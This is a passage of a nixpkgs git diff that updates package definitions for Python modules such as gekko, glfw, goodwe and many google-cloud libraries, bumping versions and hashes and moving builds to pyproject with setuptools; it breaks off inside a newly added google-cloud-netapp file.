f89334f8f60e8..6991c3f4ab1bb 100644 --- a/pkgs/development/python-modules/fx2/default.nix +++ b/pkgs/development/python-modules/fx2/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "fx2"; - version = "unstable-2023-09-20"; + version = "0.13"; format = "setuptools"; src = fetchFromGitHub { owner = "whitequark"; repo = "libfx2"; - rev = "73fa811818d56a86b82c12e07327946aeddd2b3e"; - hash = "sha256-AGQPOVTdaUCUeVVNQTBmoNvz5CGxcBOK7+oL+X8AcIw="; + rev = "v${version}"; + hash = "sha256-PtWxjT+97+EeNMN36zOT1+ost/w3lRRkaON3Cl3dpp4="; }; nativeBuildInputs = [ sdcc ]; diff --git a/pkgs/development/python-modules/gekko/default.nix b/pkgs/development/python-modules/gekko/default.nix index a623a21eb8c49..d7a906af82b88 100644 --- a/pkgs/development/python-modules/gekko/default.nix +++ b/pkgs/development/python-modules/gekko/default.nix @@ -8,12 +8,12 @@ }: buildPythonPackage rec { pname = "gekko"; - version = "1.0.6"; + version = "1.0.7"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-WNyEdJXBXfhrD1LywBBJ3Ehk+CnUS8VYbJFK8mpKV20="; + hash = "sha256-MXoxrejg+QJgajFv8DgZw44NeJuTHNBBK/lsWgmymJY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/geoalchemy2/default.nix b/pkgs/development/python-modules/geoalchemy2/default.nix index bb4eb7ca664ef..7920c53b8f577 100644 --- a/pkgs/development/python-modules/geoalchemy2/default.nix +++ b/pkgs/development/python-modules/geoalchemy2/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "geoalchemy2"; - version = "0.14.4"; + version = "0.14.6"; pyproject = true; disabled = pythonOlder "3.7"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "geoalchemy"; repo = "geoalchemy2"; rev = "refs/tags/${version}"; - hash = "sha256-zMd/hHobFBPre0bZA1e2S9gPWnIkeImZhSySlIDxYsg="; + hash = "sha256-s3+w6LtewjR725O8ENl7jRer979fRZDqsnbAYJOWcIY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/georss-ign-sismologia-client/default.nix b/pkgs/development/python-modules/georss-ign-sismologia-client/default.nix index 15002c77f7bb3..5c3b095a2c3f2 100644 --- a/pkgs/development/python-modules/georss-ign-sismologia-client/default.nix +++ b/pkgs/development/python-modules/georss-ign-sismologia-client/default.nix @@ -1,26 +1,33 @@ { lib , buildPythonPackage +, dateparser , fetchFromGitHub , georss-client , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "georss-ign-sismologia-client"; - version = "0.6"; - format = "setuptools"; + version = "0.8"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "exxamalte"; repo = "python-georss-ign-sismologia-client"; rev = "refs/tags/v${version}"; - hash = "sha256-OLX6Megl5l8KDnd/G16QJ/wQn5AQc2cZ+LCbjuHFbwo="; + hash = "sha256-geIxF4GumxRoetJ6mIZCzI3pAvWjJJoY66aQYd2Mzik="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ + dateparser georss-client ]; diff --git a/pkgs/development/python-modules/georss-qld-bushfire-alert-client/default.nix b/pkgs/development/python-modules/georss-qld-bushfire-alert-client/default.nix index a85302544d09a..6e346b402c723 100644 --- a/pkgs/development/python-modules/georss-qld-bushfire-alert-client/default.nix +++ b/pkgs/development/python-modules/georss-qld-bushfire-alert-client/default.nix @@ -4,22 +4,27 @@ , georss-client , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "georss-qld-bushfire-alert-client"; - version = "0.6"; - format = "setuptools"; + version = "0.7"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "exxamalte"; repo = "python-georss-qld-bushfire-alert-client"; - rev = "v${version}"; - hash = "sha256-7KVR0hdLwyCj7MYJoRvQ6wTeJQAmCUarYxJXEFaN8Pc="; + rev = "refs/tags/v${version}"; + hash = "sha256-ajCw1m7Qm1kZE/hOsBzFXPWAxl/pFD8pOOQo6qvachE="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ georss-client ]; @@ -35,6 +40,7 @@ buildPythonPackage rec { meta = with lib; { description = "Python library for accessing Queensland Bushfire Alert feed"; homepage = "https://github.com/exxamalte/python-georss-qld-bushfire-alert-client"; + changelog = "https://github.com/exxamalte/python-georss-qld-bushfire-alert-client/releases/tag/v${version}"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/gerbonara/default.nix b/pkgs/development/python-modules/gerbonara/default.nix new file mode 100644 index 0000000000000..2e79e8aa3d43e --- /dev/null +++ b/pkgs/development/python-modules/gerbonara/default.nix @@ -0,0 +1,53 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, pytest +, click +, numpy +, scipy +, rtree +}: + +buildPythonPackage rec { + pname = "gerbonara"; + version = "1.2.0"; + src = fetchFromGitHub { + owner = "jaseg"; + repo = "gerbonara"; + rev = "v${version}"; + hash = "sha256-VU4Of90YUPoLuiUpIDwSUfxQOoKChNbZE0klHkHEmaY="; + }; + + format = "setuptools"; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + click + numpy + scipy + rtree + ]; + + preConfigure = '' + # setup.py tries to execute a call to git in a subprocess, this avoids it. + substituteInPlace setup.py \ + --replace "version=version()," \ + "version='${version}'," + ''; + + pythonImportsCheck = [ "gerbonara" ]; + + # Test environment is exceptionally tricky to get set up, so skip for now. + doCheck = false; + + meta = with lib; { + description = "Pythonic library for reading/modifying/writing Gerber/Excellon/IPC-356 files"; + homepage = "https://github.com/jaseg/gerbonara"; + license = with licenses; [ asl20 ]; + maintainers = with maintainers; [ wulfsta ]; + }; +} diff --git a/pkgs/development/python-modules/glfw/default.nix b/pkgs/development/python-modules/glfw/default.nix index 667206fa58ead..16b4d2d21cfc1 100644 --- a/pkgs/development/python-modules/glfw/default.nix +++ b/pkgs/development/python-modules/glfw/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "glfw"; - version = "2.6.5"; + version = "2.7.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -16,7 +16,7 @@ buildPythonPackage rec { owner = "FlorianRhiem"; repo = "pyGLFW"; rev = "refs/tags/v${version}"; - hash = "sha256-mh2l63Nt9YMCPM3AplKWPx5HQZi2/cm+dUS56JB8fGA="; + hash = "sha256-9SNq8jKzgzFzonyMYoyjGbz4NDL83dPKWID9m3HZ7B8="; }; # Patch path to GLFW shared object diff --git a/pkgs/development/python-modules/goodwe/default.nix b/pkgs/development/python-modules/goodwe/default.nix index 0acb958de47a3..26387b8760181 100644 --- a/pkgs/development/python-modules/goodwe/default.nix +++ b/pkgs/development/python-modules/goodwe/default.nix @@ -8,22 +8,22 @@ buildPythonPackage rec { pname = "goodwe"; - version = "0.3.0"; - format = "pyproject"; + version = "0.3.1"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "marcelblijleven"; - repo = pname; + repo = "goodwe"; rev = "refs/tags/v${version}"; - hash = "sha256-5wUGbXAmpdHHgM3HLCKPauIkbp4GDqky3I5T2hN3Pvk="; + hash = "sha256-6KCIfCyViiBU/cez9m34FMPkTUTkmEYc/e/xYqOyJLY="; }; postPatch = '' substituteInPlace setup.cfg \ - --replace "'marcelblijleven@gmail.com" "marcelblijleven@gmail.com" \ - --replace "version: file: VERSION" "version = ${version}" + --replace-fail "'marcelblijleven@gmail.com" "marcelblijleven@gmail.com" \ + --replace-fail "version: file: VERSION" "version = ${version}" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-ai-generativelanguage/default.nix b/pkgs/development/python-modules/google-ai-generativelanguage/default.nix index a94b33e9b4448..7b58f851acdcf 100644 --- a/pkgs/development/python-modules/google-ai-generativelanguage/default.nix +++ b/pkgs/development/python-modules/google-ai-generativelanguage/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "google-ai-generativelanguage"; - version = "0.5.2"; + version = "0.5.4"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-njzyaFPXTRvZmWfB0uYufMNqhTBBN7fkKtS7bUyA8ME="; + hash = "sha256-XBhXXrzbIiKoFPew/UdUD673AUPb96rm9LudyVcY3H8="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/google-api-core/default.nix b/pkgs/development/python-modules/google-api-core/default.nix index 76fbdf7fa4254..8627942d3a1d9 100644 --- a/pkgs/development/python-modules/google-api-core/default.nix +++ b/pkgs/development/python-modules/google-api-core/default.nix @@ -13,20 +13,25 @@ , pytestCheckHook , pythonOlder , requests +, setuptools }: buildPythonPackage rec { pname = "google-api-core"; - version = "2.14.0"; - format = "setuptools"; + version = "2.17.1"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-U2ikUCt5PZu/gSpZEuE+Tmn5vYf277UIRgxD9bvRzkE="; + hash = "sha256-nfGKH4fuDfC8TuoncOvEIoOS2MxAZmVbMg4s/MsV25U="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ googleapis-common-protos google-auth diff --git a/pkgs/development/python-modules/google-auth-oauthlib/default.nix b/pkgs/development/python-modules/google-auth-oauthlib/default.nix index 5894c2080ffb6..84693b839de93 100644 --- a/pkgs/development/python-modules/google-auth-oauthlib/default.nix +++ b/pkgs/development/python-modules/google-auth-oauthlib/default.nix @@ -2,6 +2,7 @@ , stdenv , buildPythonPackage , fetchPypi +, setuptools , click , mock , pytestCheckHook @@ -12,26 +13,33 @@ buildPythonPackage rec { pname = "google-auth-oauthlib"; - version = "1.1.0"; - format = "setuptools"; + version = "1.2.0"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-g+qMOwiB5FN5C6/0RI6KYRKsh3jR3p2gtoAQuEOTevs="; + hash = "sha256-KS0tN4M0nysHNKCgIHseHjIqwZPCwJ2PfGE/t8xQHqg="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-auth requests-oauthlib ]; + passthru.optional-dependencies = { + tool = [ click ]; + }; + nativeCheckInputs = [ - click mock pytestCheckHook - ]; + ] ++ passthru.optional-dependencies.tool; disabledTests = [ # Flaky test. See https://github.com/NixOS/nixpkgs/issues/288424#issuecomment-1941609973. @@ -46,9 +54,11 @@ buildPythonPackage rec { ]; meta = with lib; { + changelog = "https://github.com/googleapis/google-auth-library-python-oauthlib/blob/v${version}/CHANGELOG.md"; description = "Google Authentication Library: oauthlib integration"; homepage = "https://github.com/GoogleCloudPlatform/google-auth-library-python-oauthlib"; license = licenses.asl20; + mainProgram = "google-oauthlib-tool"; maintainers = with maintainers; [ terlar ]; }; } diff --git a/pkgs/development/python-modules/google-auth/default.nix b/pkgs/development/python-modules/google-auth/default.nix index 4785bed59fb3a..905f301c2cc81 100644 --- a/pkgs/development/python-modules/google-auth/default.nix +++ b/pkgs/development/python-modules/google-auth/default.nix @@ -5,7 +5,6 @@ , buildPythonPackage , cachetools , cryptography -, fetchpatch , fetchPypi , flask , freezegun @@ -22,40 +21,29 @@ , requests , responses , rsa -, six -, urllib3 +, setuptools }: buildPythonPackage rec { pname = "google-auth"; - version = "2.21.0"; - format = "setuptools"; + version = "2.27.0"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-so6ASOV3J+fPDlvY5ydrISrvR2ZUoJURNUqoJ1O0XGY="; + hash = "sha256-6GOlbMwtjvqD33qAJyYB5DSH+ppyijdiBchsJqrvqCE="; }; - patches = [ - # Although the migration to urllib3-2.0.0 is incomplete, - # the discussion in the following PR has addressed the concerns. - # https://github.com/googleapis/google-auth-library-python/pull/1290 - (fetchpatch { - name = "support-urllib3_2.patch"; - url = "https://github.com/googleapis/google-auth-library-python/commit/9ed006d02d7c9de3e6898ee819648c2fd3367c1d.patch"; - hash = "sha256-64g0GzZeyO8l/s1jqfsogr8pTOBbG9xfp/UeVZNA4q8="; - includes = [ "google/auth/transport/urllib3.py" ]; - }) + nativeBuildInputs = [ + setuptools ]; propagatedBuildInputs = [ cachetools pyasn1-modules rsa - six - urllib3 ]; passthru.optional-dependencies = { @@ -68,6 +56,7 @@ buildPythonPackage rec { pyopenssl ]; pyopenssl = [ + cryptography pyopenssl ]; reauth = [ @@ -90,8 +79,7 @@ buildPythonPackage rec { pytestCheckHook responses ] ++ passthru.optional-dependencies.aiohttp - # `cryptography` is still required on `aarch64-darwin` for `tests/crypt/*` - ++ (if (stdenv.isDarwin && stdenv.isAarch64) then [ cryptography ] else passthru.optional-dependencies.enterprise_cert) + ++ passthru.optional-dependencies.enterprise_cert ++ passthru.optional-dependencies.reauth; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix b/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix index 1e37e3a9552d3..409cfc2bc4a47 100644 --- a/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix +++ b/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix @@ -4,20 +4,25 @@ , google-api-core , pythonOlder , protobuf +, setuptools }: buildPythonPackage rec { pname = "google-cloud-access-context-manager"; - version = "0.1.16"; - format = "setuptools"; + version = "0.2.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-+L5Rre6LHpSlc+yzdQpMLSvURLHd412apDes5zwzdgc="; + hash = "sha256-pbQkMSwISwK2+Ywev7avKBMvwB5dcZgX+kmeeMh+BLc="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core protobuf diff --git a/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix b/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix index 2754c32c3c973..d9f5f38c36ece 100644 --- a/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix +++ b/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-appengine-logging"; - version = "1.4.1"; + version = "1.4.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-mQXHwww8K77dCxMuKycfyCRzM+vJMdLSOvG7vRG0Nf4="; + hash = "sha256-+1BOYZn+jehbqp0xzs9ndod4Uf5Yhn3mAzF+x8xzmYc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix b/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix index 71075ad7f60d1..07e965918652c 100644 --- a/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix +++ b/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix @@ -1,27 +1,38 @@ { buildPythonPackage , fetchPypi , google-api-core +, google-auth , grpc-google-iam-v1 , lib +, proto-plus +, protobuf , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-artifact-registry"; - version = "1.11.1"; - format = "setuptools"; + version = "1.11.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-EjwBVYq7V39ab/VQEmysfiuwEbMkjCXq5o+jM31NrwI="; + hash = "sha256-wsSeFbtZHWXeoiyC2lUUjFE09xkZuu+OtNNb4dHLIM0="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core + google-auth grpc-google-iam-v1 + proto-plus + protobuf ] ++ google-api-core.optional-dependencies.grpc; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-asset/default.nix b/pkgs/development/python-modules/google-cloud-asset/default.nix index ab2ae150eb3de..3fa39efec8d5a 100644 --- a/pkgs/development/python-modules/google-cloud-asset/default.nix +++ b/pkgs/development/python-modules/google-cloud-asset/default.nix @@ -19,14 +19,14 @@ buildPythonPackage rec { pname = "google-cloud-asset"; - version = "3.24.1"; + version = "3.24.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-aNTCDqj/0/qm4gwZrIKrn2yhgKshv1XwGlHd4zhzMgI="; + hash = "sha256-owRdxr4Kr6VehuHl/mZuZo7XqixX2glWwJ3F/tq82bc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-automl/default.nix b/pkgs/development/python-modules/google-cloud-automl/default.nix index 2768a79005a87..34b49c9b19990 100644 --- a/pkgs/development/python-modules/google-cloud-automl/default.nix +++ b/pkgs/development/python-modules/google-cloud-automl/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "google-cloud-automl"; - version = "2.12.0"; + version = "2.13.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-IvemHgS0qbA9UE7y22aD30YqAy2lP+P7ssNvUlB0q7U="; + hash = "sha256-iRqQgurt6xe8W7ck/BULdwLGhNdCD58irj98X8YRxxo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix b/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix index c975700ce1efb..ce3ddc189ada3 100644 --- a/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix +++ b/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-bigquery-datatransfer"; - version = "3.14.0"; + version = "3.15.1"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-DZDp/aRhIe2bBcn8BVA8jwmDaUrbHAMMRG0LixuvGl0="; + hash = "sha256-2A0v6UBFHeP0fsU71e22Aau7HfQYnN4fo4bYD3G+p2I="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix b/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix index 85e60259a6c59..da43db7a3cc44 100644 --- a/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix +++ b/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-bigquery-logging"; - version = "1.4.1"; + version = "1.4.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-HryKL26J6H2xW/EEPVceWd0ZATP7QAuolU77sw3QrWM="; + hash = "sha256-7RqwaSthQcwGebhi5F/V//WxBIp5upVS0ToDDsjyURY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-bigquery/default.nix b/pkgs/development/python-modules/google-cloud-bigquery/default.nix index b59372f294a03..0a7c67ec7aa72 100644 --- a/pkgs/development/python-modules/google-cloud-bigquery/default.nix +++ b/pkgs/development/python-modules/google-cloud-bigquery/default.nix @@ -28,14 +28,14 @@ buildPythonPackage rec { pname = "google-cloud-bigquery"; - version = "3.17.1"; + version = "3.18.0"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-CuB7kNUFK6OilqIhCiFEwoRpMA1x9vRViB+Uwt9UMFc="; + hash = "sha256-dPD8bwupR3+AjSWSTcigUsVffKkQZOg+FtPuX7fKd6s="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-bigtable/default.nix b/pkgs/development/python-modules/google-cloud-bigtable/default.nix index 1f0695a1770f0..1bdec9f84b157 100644 --- a/pkgs/development/python-modules/google-cloud-bigtable/default.nix +++ b/pkgs/development/python-modules/google-cloud-bigtable/default.nix @@ -11,20 +11,25 @@ , protobuf , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-bigtable"; - version = "2.22.0"; - format = "setuptools"; + version = "2.23.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-Y6HO3Q5JZC4lSBJDbJxMlAHWnF3LzIDLY2ZpK1Abv6E="; + hash = "sha256-w8q7Zhn18u6hGz23JzHoTSixaAVcnMF8LS2v8Vy4I3k="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core google-cloud-core diff --git a/pkgs/development/python-modules/google-cloud-compute/default.nix b/pkgs/development/python-modules/google-cloud-compute/default.nix index 2f58338113a98..e3f504e500931 100644 --- a/pkgs/development/python-modules/google-cloud-compute/default.nix +++ b/pkgs/development/python-modules/google-cloud-compute/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "google-cloud-compute"; - version = "1.15.0"; + version = "1.18.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-+mda6vBMYnpELNMDIZbW82rWhEO6MnyXZ6a/vECkKyE="; + hash = "sha256-QSI3GDh36yg4qm4Izaps8X85lFGhZuOpqjOuiUzBWh0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-container/default.nix b/pkgs/development/python-modules/google-cloud-container/default.nix index 014d68c191688..8dc787ddf0cda 100644 --- a/pkgs/development/python-modules/google-cloud-container/default.nix +++ b/pkgs/development/python-modules/google-cloud-container/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-container"; - version = "2.40.0"; + version = "2.41.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-4yTrV0OtvCmd9+5rNaTOJBAS/s52hyjwA7O1/lLyFtE="; + hash = "sha256-5DUFaQqzIvN/8Vo7MJNBrsMaB4HANO7Eb2nuzx3nDJc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-datacatalog/default.nix b/pkgs/development/python-modules/google-cloud-datacatalog/default.nix index 018eb4a26cb46..17f57f9430999 100644 --- a/pkgs/development/python-modules/google-cloud-datacatalog/default.nix +++ b/pkgs/development/python-modules/google-cloud-datacatalog/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "google-cloud-datacatalog"; - version = "3.18.1"; + version = "3.18.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-xjf6yWXgfJFEHw1lYSryfe86UMsM1Y4fGRffDTne20U="; + hash = "sha256-d4MTAZgseV5iI83A7lSkbe/SEgX9ZfQ0pLHfYBStfp4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-dataproc/default.nix b/pkgs/development/python-modules/google-cloud-dataproc/default.nix index b481bff3f750d..6e22cb60c2672 100644 --- a/pkgs/development/python-modules/google-cloud-dataproc/default.nix +++ b/pkgs/development/python-modules/google-cloud-dataproc/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "google-cloud-dataproc"; - version = "5.9.1"; + version = "5.9.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-qDc6E6d6hIHgRBNDGUHaJ7ROP24xDUXK1rkXTX187g0="; + hash = "sha256-l9ZHiR5/TNJfa4Oa5XzTVYCd8so5ZlPtJK9itO8C9BI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-dlp/default.nix b/pkgs/development/python-modules/google-cloud-dlp/default.nix index 4fe3dddd3001a..49f45dcc6b8b8 100644 --- a/pkgs/development/python-modules/google-cloud-dlp/default.nix +++ b/pkgs/development/python-modules/google-cloud-dlp/default.nix @@ -9,20 +9,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-dlp"; - version = "3.13.0"; - format = "setuptools"; + version = "3.15.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-mFqptqEvHQAKNevzawDOfQsH0SCn9EanJ2js4vIpCGo="; + hash = "sha256-9BCV3jYq8svvMbhKoQVMAlGYTggyi1qreG6T/yEIfy8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core proto-plus diff --git a/pkgs/development/python-modules/google-cloud-firestore/default.nix b/pkgs/development/python-modules/google-cloud-firestore/default.nix index 81de0310b126e..8f987bf238c03 100644 --- a/pkgs/development/python-modules/google-cloud-firestore/default.nix +++ b/pkgs/development/python-modules/google-cloud-firestore/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "google-cloud-firestore"; - version = "2.14.0"; + version = "2.15.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-mr+3U+s89wB2uc/whvcdOYwJfAsbD9ll1a8n1a5K5AE="; + hash = "sha256-WJzknGuNcxWiSDJ+ShJKRBQ/WlMU6naPfIUWYMIeYyE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-iam-logging/default.nix b/pkgs/development/python-modules/google-cloud-iam-logging/default.nix index aac30f35757dc..bea85e0283890 100644 --- a/pkgs/development/python-modules/google-cloud-iam-logging/default.nix +++ b/pkgs/development/python-modules/google-cloud-iam-logging/default.nix @@ -9,20 +9,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-iam-logging"; - version = "1.3.0"; - format = "setuptools"; + version = "1.3.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-oLqRmxNPbb+nUMN70kGlAtBCji4wXrbRv2DhNMcZV5c="; + hash = "sha256-99YYGGrI8zg+cwdVKqFVneL0jTzO7GJq91O/Kk0lGJM="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core grpc-google-iam-v1 diff --git a/pkgs/development/python-modules/google-cloud-kms/default.nix b/pkgs/development/python-modules/google-cloud-kms/default.nix index 32949b14c332c..deab86952e76f 100644 --- a/pkgs/development/python-modules/google-cloud-kms/default.nix +++ b/pkgs/development/python-modules/google-cloud-kms/default.nix @@ -9,20 +9,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-kms"; - version = "2.19.2"; - format = "setuptools"; + version = "2.21.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-F6UDRZLoXvADHSW75YlL2y1xlGCFWYC/62iqTo/8Er0="; + hash = "sha256-8GrZ38gBVE+6EYN4i5ZPawF0g6Zgkapoa1Gr0HSAbIQ="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ grpc-google-iam-v1 google-api-core @@ -36,9 +41,11 @@ buildPythonPackage rec { pytestCheckHook ]; - # Disable tests that need credentials disabledTests = [ + # Disable tests that need credentials "test_list_global_key_rings" + # Tests require PROJECT_ID + "test_list_ekm_connections" ]; pythonImportsCheck = [ @@ -48,8 +55,8 @@ buildPythonPackage rec { meta = with lib; { description = "Cloud Key Management Service (KMS) API API client library"; - homepage = "https://github.com/googleapis/python-kms"; - changelog = "https://github.com/googleapis/python-kms/blob/v${version}/CHANGELOG.md"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-kms"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-kms-v${version}/packages/google-cloud-kms/CHANGELOG.md"; license = licenses.asl20; maintainers = with maintainers; [ ]; }; diff --git a/pkgs/development/python-modules/google-cloud-language/default.nix b/pkgs/development/python-modules/google-cloud-language/default.nix index e04591791d3cc..98f4355facbd6 100644 --- a/pkgs/development/python-modules/google-cloud-language/default.nix +++ b/pkgs/development/python-modules/google-cloud-language/default.nix @@ -7,20 +7,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-language"; - version = "2.12.0"; - format = "setuptools"; + version = "2.13.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-efuO/hWDM+aMBXR+nqhrWYsvQpoS83FJ2DrG+hhFlio="; + hash = "sha256-Vp01Jgr5Bt4luOKna2Nk4FgJuEU6/Ynac41KT8uQhG8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core proto-plus diff --git a/pkgs/development/python-modules/google-cloud-monitoring/default.nix b/pkgs/development/python-modules/google-cloud-monitoring/default.nix index 9fecd41cec589..f230ac19194bc 100644 --- a/pkgs/development/python-modules/google-cloud-monitoring/default.nix +++ b/pkgs/development/python-modules/google-cloud-monitoring/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "google-cloud-monitoring"; - version = "2.19.1"; + version = "2.19.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-P4vdD1zCDzDn0ydEXCw2C/aEFnJYR13knOM91eDFcZw="; + hash = "sha256-N2QeU3mG/SIn+HOLh51gWozfTDFc3GDobhCTR6scodc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-netapp/default.nix b/pkgs/development/python-modules/google-cloud-netapp/default.nix new file mode 100644 index 0000000000000..2730c971cc47c --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-netapp/default.nix @@ -0,0 +1,56 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, google-auth +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-netapp"; + version = "0.3.7"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + inherit pname version; + hash = 